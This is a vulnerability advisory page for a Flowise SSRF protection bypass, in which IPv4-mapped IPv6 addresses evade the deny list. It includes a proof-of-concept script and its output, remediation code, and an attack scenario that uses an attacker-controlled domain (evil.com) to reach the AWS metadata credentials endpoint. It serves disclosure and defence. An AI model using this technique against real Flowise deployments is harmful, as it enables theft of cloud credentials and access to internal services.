Skip to main content

Flowise CVE-2026-69257

| EUVDEUVD-2026-52751 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-08-04 https://github.com/FlowiseAI/Flowise GHSA-c6xh-wv4j-ppv5
7.6
CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise
Share

Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY
7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.5 HIGH

Network attack via attacker-owned DNS AAAA record; PR:L because chatflow URL configuration requires Flowise authentication; S:C for out-of-scope IMDS/internal access; I:L for downstream credential abuse potential.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
Source Code Evidence Fetched
Aug 04, 2026 - 16:37 vuln.today
Analysis Generated
Aug 04, 2026 - 16:37 vuln.today
CVE Published
Aug 04, 2026 - 15:51 cve.org
HIGH

DescriptionCVE.org

Summary

Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)

Affected Versions

  • All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
  • This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)

Details

Root Cause

The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:

typescript
// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
    const parsedIp = ipaddr.parse(ip);
    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/')
                const parsedRange = ipaddr.parse(range)
                // ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
                // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
                if (parsedIp.kind() === parsedRange.kind()) {  // <-- BYPASS HERE
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.')
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`)
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.')
        }
    }
}

When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:

  • ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6'
  • ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4'
  • 'ipv6' === 'ipv4' is falseCIDR check is completely skipped

The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.

Attack Vector

  1. Attacker registers a domain (e.g., evil.attacker.com) and sets a AAAA DNS record to ::ffff:169.254.169.254 (AWS metadata) or ::ffff:10.0.0.1 (internal service)
  2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to http://evil.attacker.com/latest/meta-data/
  3. resolveAndValidate() calls dns.lookup('evil.attacker.com', { all: true }) which returns [{ address: '::ffff:169.254.169.254', family: 6 }]
  4. isDeniedIP('::ffff:169.254.169.254', denyList) is called - all IPv4 CIDR entries are skipped due to kind mismatch
  5. Request is sent to 169.254.169.254 (AWS metadata service) via the IPv4-mapped IPv6 address

Affected Endpoints

All code paths using the SSRF protection functions are vulnerable:

FunctionUsage CountAffected Components
secureAxiosRequest()8+HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank
secureFetch()5+ApiChain, Custom Function sandbox, Jira tool, MCP tool
checkDenyList()3+MCP Server URL validation, fetch-links service, web scraping

Proof of Concept

javascript
// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');

const denyList = [
    '169.254.169.254/16',  // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
    '10.0.0.0/8',          // RFC1918 (covered by 10.0.0.0/8 in Flowise)
    '127.0.0.0/8',         // Loopback (covered by 127.0.0.0/8 in Flowise)
    '172.16.0.0/12',       // RFC1918 (covered by 172.16.0.0/12 in Flowise)
    '192.168.0.0/16',      // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];

// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'

// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'

// Demonstrate the bypass
for (const entry of denyList) {
    const [range] = entry.split('/');
    const parsedRange = ipaddr.parse(range);
    const kindMatch = mappedIP.kind() === parsedRange.kind();
    console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped

Attack Scenario (AWS Cloud):

bash
# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
#    URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials

Verified PoC Output

The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:

Step 1: kind() mismatch confirmed

169.254.169.254                kind=ipv4  isIPv4Mapped=false
::ffff:169.254.169.254         kind=ipv6  isIPv4Mapped=true  → maps to: 169.254.169.254
127.0.0.1                      kind=ipv4  isIPv4Mapped=false
::ffff:127.0.0.1               kind=ipv6  isIPv4Mapped=true  → maps to: 127.0.0.1
10.0.0.1                       kind=ipv4  isIPv4Mapped=false
::ffff:10.0.0.1                kind=ipv6  isIPv4Mapped=true  → maps to: 10.0.0.1
192.168.1.1                    kind=ipv4  isIPv4Mapped=false
::ffff:192.168.1.1             kind=ipv6  isIPv4Mapped=true  → maps to: 192.168.1.1
172.16.0.1                     kind=ipv4  isIPv4Mapped=false
::ffff:172.16.0.1              kind=ipv6  isIPv4Mapped=true  → maps to: 172.16.0.1

Step 2: Normal IPv4 - correctly blocked ✅

169.254.169.254           → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1                 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1                  → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1               → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1                → 🔒 BLOCKED (matched: 172.16.0.0/12)

Step 3: IPv4-Mapped IPv6 - ALL bypass deny list ⚠️

::ffff:169.254.169.254         → ⚠️ ALLOWED (BYPASS!)  (real target: 169.254.169.254)
::ffff:127.0.0.1               → ⚠️ ALLOWED (BYPASS!)  (real target: 127.0.0.1)
::ffff:10.0.0.1                → ⚠️ ALLOWED (BYPASS!)  (real target: 10.0.0.1)
::ffff:192.168.1.1             → ⚠️ ALLOWED (BYPASS!)  (real target: 192.168.1.1)
::ffff:172.16.0.1              → ⚠️ ALLOWED (BYPASS!)  (real target: 172.16.0.1)

Step 4: Root cause - kind mismatch skips CIDR check

Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind()    = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match?        = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)

Step 5: Proposed fix - all bypass addresses now blocked ✅

::ffff:169.254.169.254         → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1               → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1                → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1             → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1              → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)

Step 6: Attack simulation

Vulnerable isDeniedIP:  ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP:       🔒 BLOCKED → Attack prevented!

> Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency ^2.2.0) > PoC script: poc_ssrf_bypass.js

Impact

TargetImpactSeverity
AWS/GCP/Azure Metadata (169.254.169.254)Steal IAM credentials, service account tokensCritical
Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x)Access internal APIs, databases, admin panelsHigh
Localhost (127.0.0.1)Access Flowise's own API with elevated privileges, access co-located servicesHigh

This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.

Remediation

Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)

typescript
export function isDeniedIP(ip: string, denyList: string[]): void {
    let parsedIp = ipaddr.parse(ip);

    // ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
    if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
        parsedIp = parsedIp.toIPv4Address();
    }

    for (const entry of denyList) {
        if (entry.includes('/')) {
            try {
                const [range, _] = entry.split('/');
                let parsedRange = ipaddr.parse(range);
                // Also normalize deny list entries
                if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
                    parsedRange = parsedRange.toIPv4Address();
                }
                if (parsedIp.kind() === parsedRange.kind()) {
                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {
                        throw new Error('Access to this host is denied by policy.');
                    }
                }
            } catch (error) {
                throw new Error(`isDeniedIP: ${error}`);
            }
        } else if (ip === entry) {
            throw new Error('Access to this host is denied by policy.');
        }
    }
}

Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)

Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:

typescript
const DEFAULT_DENY_LIST = [
    // ... existing entries ...
    '::ffff:0:0/96',        // Block ALL IPv4-mapped IPv6 addresses
    '::ffff:127.0.0.1/128', // Explicit loopback mapped
    '::ffff:169.254.0.0/112', // Explicit link-local mapped
    '::ffff:10.0.0.0/104',  // Explicit RFC1918 Class A mapped
    '::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
    '::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];

Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)

typescript
async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
    // ... existing code ...
    const records = await dns.lookup(hostname, { all: true });
    for (const r of records) {
        let address = r.address;
        // Normalize IPv4-mapped IPv6 for deny list checking
        if (ipaddr.isValid(address)) {
            const parsed = ipaddr.parse(address);
            if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
                address = parsed.toIPv4Address().toString();
            }
        }
        isDeniedIP(address, denyList);
    }
    // ... rest of code ...
}

AnalysisAI

SSRF protection bypass in Flowise (npm/flowise ≤ v3.1.2) allows complete circumvention of all IPv4 CIDR deny rules via IPv4-mapped IPv6 addresses, rendering the SSRF fix introduced in v3.0.13 for CVE-2026-31829 entirely ineffective. An attacker who controls DNS for a hostname referenced in a Flowise chatflow HTTP component can set a AAAA record to ::ffff:169.254.169.254 or any RFC1918 target; Flowise resolves the address, the isDeniedIP() kind mismatch silently skips all IPv4 CIDR checks, and the request reaches cloud IMDS endpoints or internal services. A publicly available proof-of-concept script (poc_ssrf_bypass.js) confirms the bypass against ipaddr.js@2.2.0; no CISA KEV listing has been identified at time of analysis.

Technical ContextAI

Flowise is a Node.js low-code platform (npm package flowise) for building LLM-based chatflows. The vulnerable component is packages/components/src/httpSecurity.ts, which uses ipaddr.js (dependency pinned at ^2.2.0) to validate outbound HTTP destinations against an SSRF deny list. The root cause spans CWE-918 (SSRF) and CWE-1389 (incorrect number parsing): ipaddr.js classifies IPv4-mapped IPv6 addresses such as ::ffff:169.254.169.254 with kind() returning 'ipv6', while IPv4 CIDR deny-list entries (e.g., 169.254.0.0/16, 10.0.0.0/8) parse with kind() returning 'ipv4'. The guard condition if (parsedIp.kind() === parsedRange.kind()) in isDeniedIP() evaluates to false for any mapped address against any IPv4 CIDR, causing the match() call to be skipped entirely. The default deny list contains no entry covering ::ffff:0:0/96 (the entire IPv4-mapped address space), leaving this address family completely unblocked. The bypass affects every SSRF-guarded code path: secureAxiosRequest() (8+ call sites including HTTP Node and FireCrawl), secureFetch() (5+ call sites including ApiChain and MCP tool), and checkDenyList() (3+ call sites covering MCP server URL validation and web scraping). CPE: pkg:npm/flowise ≤ 3.1.2.

RemediationAI

Upgrade Flowise to v3.1.3 or later, available at https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3; the fix is implemented in PR #6431 (commit 0fc769208395641c1411ccdb9c81416e54802155), which normalizes IPv4-mapped IPv6 addresses to their IPv4 equivalents via parsedIp.toIPv4Address() before the deny-list kind comparison in isDeniedIP(). If immediate upgrade is not feasible, add ::ffff:0:0/96 to the Flowise deny list configuration to block the entire IPv4-mapped address family; note this workaround may prevent legitimate dual-stack connectivity if Flowise chatflows need to reach IPv6-only public services. A more targeted alternative is adding explicit mapped-form deny entries for each protected range: ::ffff:127.0.0.0/104, ::ffff:169.254.0.0/112, ::ffff:10.0.0.0/104, ::ffff:172.16.0.0/108, ::ffff:192.168.0.0/112. As an independent network-layer control, configure host or cloud security group firewall rules to block outbound traffic from the Flowise process to 169.254.169.254 and all RFC1918 ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16); this operates below the application layer and is not bypassable by DNS manipulation alone.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

CVE-2026-69257 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy